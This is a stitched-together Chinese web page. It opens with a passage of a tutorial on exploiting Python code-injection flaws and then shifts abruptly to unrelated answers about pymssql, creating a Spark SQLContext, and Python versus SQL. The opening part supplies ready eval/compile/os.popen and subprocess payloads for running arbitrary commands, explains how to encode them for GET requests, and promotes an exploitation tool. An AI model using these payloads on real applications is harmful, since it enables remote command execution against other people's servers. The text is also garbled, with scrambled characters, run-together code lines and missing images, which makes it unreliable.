__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句，那么你就需要使用eval()或者compile()函数了。实现代码如下所示：
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中，有时全局函数“__import__”会不起作用。在这种情况下，我们就要使用for循环了。相关代码如下所示：
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数，那么你就可以直接在浏览器中利用这个漏洞了：
\
请注意：虽然浏览器会帮你完成绝大部分的URL编码工作，但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外，你也可以直接使用我们所开发的工具。
如果是POST参数的话，我建议各位直接使用类似Burp Repeater这样的工具。如下图所示，我在subprocess.check_output()函数中一次性调用了多个系统命令，即pwd、ls、-al、whoami和ping。
\
\
漏洞利用工具-PyCodeInjectionShell
你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码，我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到，它跟sqlmap一样使用起来非常的简单。除此之外，它的使用方法跟sqlmap基本相同。
❽ 如何python获取sql数据库访问的url
如何通过python远程访问sql
server
2005数据库
1.0.2版本的，必须host，user，password，database都正确conn
=
pymssql.connect(host="127.0.0.1",user="t",
password
=
"t",
database
=
"ticket")才会成功执行。但是2.0.1版本的，连接只检查前三个，database是否正确不检查，只有到执行sql语句的时候才检查database
❾ Spark SQL怎么创建编程创建DataFrame
创建 SQLContext
Spark SQL 中所有相关功能的入口点是 SQLContext 类或者它的子类， 创建一个 SQLContext 的所有需要仅仅是一个 SparkContext。
使用 Scala 创建方式如下：
val sc: SparkContext // An existing SparkContext.
val sqlContext = new org.apache.spark.sql.SQLContext(sc)
// this is used to implicitly convert an RDD to a DataFrame.
import sqlContext.implicits._
使用团返 Java 创建方式如下：
JavaSparkContext sc = ...; // An existing JavaSparkContext.
SQLContext sqlContext = new org.apache.spark.sql.SQLContext(sc);
使用 Python 创建方式如下：
from pyspark.sql import SQLContext
sqlContext = SQLContext(sc)
除了一个基本的 SQLContext，你也能够创建一个 HiveContext，它支持基本 SQLContext 所支持功能的一个超集。它的额外的功能包括用更完整的 HiveQL 分析器写查询去访问 HiveUDFs 的能力、 从 Hive 表读取数据的能力。用 HiveContext 你不需要一个已经存在的 Hive 开启，SQLContext 可用的数据源对 HiveContext 也可用。HiveContext 分开打包是为了避免在 Spark 构建时包含了所有 的 Hive 依赖。如果对你的应用程序来说，这些依赖不存在问题，Spark 1.3 推荐使用 HiveContext。以后的稳定版本将专注于为 SQLContext 提供与 HiveContext 等价的功能。
用来解析查询语句的特定 SQL 变种语陆型言可以通过 spark.sql.dialect 选项来选择。这个参数可以通过两种方式改变，一种方式是通过 setConf 方法设定，另一种方式是在 SQL 命令中通过 SET key=value 来设定。对于 SQLContext，唯一可用的方言是 “sql”，它是 Spark SQL 提供的一个简单的 SQL 解析器。在 HiveContext 中，虽塌悉饥然也支持”sql”，但默认的方言是 “hiveql”，这是因为 HiveQL 解析器更完整。
❿ python与SQL应该怎么选择
Python和SQL并不冲突，很多时候需要先用SQL选取想要的数据然后再用Python做处理和分析。
SQL学起来更快而且也更符合题主想做金融数据分析的要求，不过SQL入门其实很简单，之后在工作中精通就好，SQL了解了之后就可以接着学Python或者其他符合题主要求的工具了。
Python（计算机编程语言）：
Python由荷兰数学和计算机科学研究学会的Guido van Rossum于1990 年代初设计，作为一门叫做ABC语言的替代品。
Python提供了高效的高级数据结构，还能简单有效地面向对象编程。Python语法和动态类型，以及解释型语言的本质，使它成为多数平台上写脚本和快速开发应用的编程语言，随着版本的不断更新和语言新功能的添加，逐渐被用于独立的、大型项目的开发。
ython解释器易于扩展，可以使用C或C++（或者其他可以通过C调用的语言）扩展新的功能和数据类型。 Python 也可用于可定制化软件中的扩展程序语言。Python丰富的标准库，提供了适用于各个主要系统平台的源码或机器码。
2021年10月，语言流行指数的编译器Tiobe将Python加冕为最受欢迎的编程语言，20年来首次将其置于Java、C和JavaScript之上。